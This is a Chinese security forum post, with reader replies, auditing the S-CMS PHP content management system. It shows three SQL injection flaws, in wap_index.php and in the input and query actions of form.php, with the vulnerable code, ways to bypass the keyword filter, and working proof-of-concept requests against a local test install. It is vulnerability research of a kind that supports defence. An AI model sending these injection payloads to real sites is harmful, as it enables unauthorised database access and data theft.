用户
搜索
  • TA的每日心情
    无聊
    2018-12-8 17:40
  • 签到天数: 164 天

    连续签到: 1 天

    [LV.7]常住居民III

    i春秋作家

    Ashe

    Rank: 7Rank: 7Rank: 7

    15

    主题

    169

    帖子

    1955

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2016-11-9

    i春秋签约作者春秋游侠春秋文阁

    发表于 2018-12-5 16:04:44 106581

    0x01 前言

    有段时间没有发文章了,主要没挖到比较有意思的漏洞点。然后看最近爆了很多关于S-CMS的漏洞,下载了源码简单挖了一下然后给大家分享一下。

    0x02 目录

    Wap_index.php sql注入
    Form.php Sql注入
    Input、query

    0x03 插曲

    这里分享一下在审计的时候自用的一段代码。

            $debug=function(){
                $logFile='C:\\Users\\DELL\\Desktop\\debug.txt';     //输出的文件
                $param=func_get_args();                     //获取传入函数的参数
                if (count($param)>0){                            
                    $str=serialize($param);                     //序列号
                    if($str){                                   //存在就写入
                        $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\t\t".$str;
                        file_put_contents($logFile,"\t\t".$str);
                    }else{                                  //不存在写入Null
                        $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\r\n".$str;
                        file_put_contents($logFile,"\t\tNull");
                    }
                }
            };$debug($x,$a,$b);     //这里$x,$a,$b都是要查看的变量。

    主要用这个的话个人感觉比较方便,平常测试都是var_dump();die;来查看。然后当die后,页面还是没有打印内容,用这个函数还是相对比较方便的。当然用phpstorm下断点挺好的,不过个人不太喜欢。主要还是我懒。

    0x04 Wap_index.php sql注入

    漏洞文件:\scms\wap_index.php
    这个文件的话不止这一处Sql注入,这里只写这一个。
    漏洞行号:90-96

    case "text":
        $debug("select * from SL_text where T_id=" . $S_id, "T_title");
        if (getrs("select * from SL_text where T_id=" . $S_id, "T_title") == "") {
            box("菜单指向的简介已被删除,请到“菜单管理”重新编辑", "back", "error");
        } else {
            $page_info = ReplaceLableFlag(ReplaceWapTag(CreateHTMLReplace(CreateText(ReplaceWapPart(LoadWapTemplate($style, $S_id)) , $S_id))));
        }
        break;

    S_id直接从GET获取无单引号拼接进了sql语句

    if(isset($_GET["S_id"])){
        $S_id = $_GET["S_id"];
    }else{
        $S_id = "0";
    }

    这套CMS核心全带全都加密处理了所以我们看不到他的过滤方法,不过当出现 union select 等的时候都直接退出了,没有继续往下执行。研究发现当传入select(user())能正常执行,不过尝试union(select(1)) 的时候也没有执行,应该是直接正则匹配的union这个单词,而select匹配了前后的空格。

    漏洞演示:

    $debug保存下来的信息。

    D:\phpStudy\PHPTutorial\WWW\scms\wap_index.php:     a:2:{i:0;s:58:"select * from SL_text where T_id=1 and (select(user())!=1)";i:1;s:7:"T_title";}

    Mysql.log

    正常执行了sql语句。
    S_id=1 and (select(user()) from sl_reply 同样可以正常执行,可通过盲注爆数据。

    0x05 Form.php Sql注入

    漏洞文件:\scms\form.php
    漏洞Action:input

    if($action=="input"){
        if ($_POST["code"]!=$_SESSION["CmsCode"]){
            echo "<div style='height:500px'></div>";
            box(lang("验证码错误!/l/Verification code error"),"back","error");
        }else{
            $R_time=date('Y-m-d H:i:s');
            $R_rid=gen_key(15);
            foreach ($_POST as $x=>$value) {
            if ($x>0){
                if ($_POST[$x]==""){
                    box(lang("请填全内容后提交!/l/Please fill in the full content to submit!"),"back","error");
                    die();
                }else{
                    if (!IsValidStr($_POST[$x])){
                    box(lang("您输入的内容有敏感字符,请重新输入!/l/The contents you have entered are sensitive characters, please re-enter!"),"back","error");
                    }else{
    $debug("Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
                    mysqli_query($conn,"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
                    }
                }
            }
            }
            if ($F_cq>0){
            mysqli_query($conn,"Insert into SL_query(Q_code,Q_content,Q_sort) values('".$R_rid."','".date('Y-m-d H:i:s')."__用户提交表单,等待处理"."',".$F_cq.")");
            box(lang("提交成功,查询码 ".$R_rid."/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
        }else{
        box(lang("提交成功!/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
        }
            sendmail("您的网站有新的表单提交","<h2>您的网站“".lang($C_webtitle)."”有新的表单提交</h2><hr>请进入“网站后台” - “表单系统” - “查看统计”查看详情!",$C_email);
    
        }
    }

    这里简单看些逻辑,先判断code验证码是否错误,如果为False不错误,进入foreach循环,判断$x(也就是 $_POST的key)>0这里就可以通过php弱类型比如1a>0 为True 这个不多介绍了,然后如果$_POST[$x] 不为空,继续检测$_POST[$x] 是否存在敏感字符,然后拼接sql语句。
    整个流程就这样了,漏洞触发点就是$x,它检测敏感字符只检测了$_POST[$x]内容,而没检测$x,而且直接拼接入了sql语句导致SQL注入。

    漏洞演示:

    http://127.0.0.1/scms/form.php?action=input&S_id=0
    code=ywu7&1//and//(1//like//1)=121

    $debug记录

    D:\phpStudy\PHPTutorial\WWW\scms\form.php:      a:1:{i:0;s:147:"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(1//and//(1//like//1),'121','2018-12-05 15:27:00','WjWEpX8YIK6cfeq',6)";}


    漏洞文件:\scms\form.php
    漏洞Action:query

    if ($action=="query"){
    $Q_sort=$_POST["Q_sort"];
    $Q_code=$_POST["Q_code"];
        if ($_POST["code"]!=$_SESSION["CmsCode"]){
            echo "<div style='height:500px'></div>";
            box(lang("验证码错误!/l/Verification code error"),"back","error");
        }else{
    
            $sql="select * from SL_query where Q_sort=".$Q_sort." and Q_code like '".$Q_code."'";
            $result = mysqli_query($conn, $sql);
            $row = mysqli_fetch_assoc($result);

    这个相对简单不多说,$Q_sort从post获取,无过滤直接拼接进sql语句导致sql注入。

    Payload:
    http://127.0.0.1/scms/form.php?action=query&S_id=0
    code=t5o9&Q_sort=1 and 1=1

    0x06 结束语

    欢迎各位大佬加群:573432490,进群申请备注:i春秋。

    本帖被以下淘专辑推荐:

    用代码将梦想照进现实!
    跟着大佬学习了。。
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2018-12-6 12:04:58
    感谢分享 细节处做的不好 排版需要加油

    评分

    参与人数 1魔法币 +10 收起 理由
    AShe + 10 鼓励转贴优秀软件安全工具和文档!.

    查看全部评分

    使用道具 举报 回复
    发表于 2018-12-7 15:06:59
    NewBeeJ 发表于 2018-12-6 04:04
    感谢分享 细节处做的不好 排版需要加油

    感谢!下次会注意的!
    用代码将梦想照进现实!
    使用道具 举报 回复
    发表于 2018-12-8 09:45:28
    感谢表哥分享
    长风破浪会有时,直挂云帆济沧海。
    使用道具 举报 回复
    学习了。。。。
    http://www.anonymou5.com
    使用道具 举报 回复
    function.de.zip (33.08 KB, 下载次数: 2)
    使用道具 举报 回复
    发表于 6 天前
    sauren 发表于 2018-12-10 07:57
    前几天看过这CMS,核心文件function.php解密。 他关键的过滤SQL注入函数有点简单
    ...

    表哥在哪解开的!
    用代码将梦想照进现实!
    使用道具 举报 回复
    AShe 发表于 2018-12-10 20:20
    表哥在哪解开的!

    百度一下,php解密,第一个就是啊  1软妹币 一个文件
    使用道具 举报 回复
    我记着 登陆还是注册还存在一个cookie注入
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册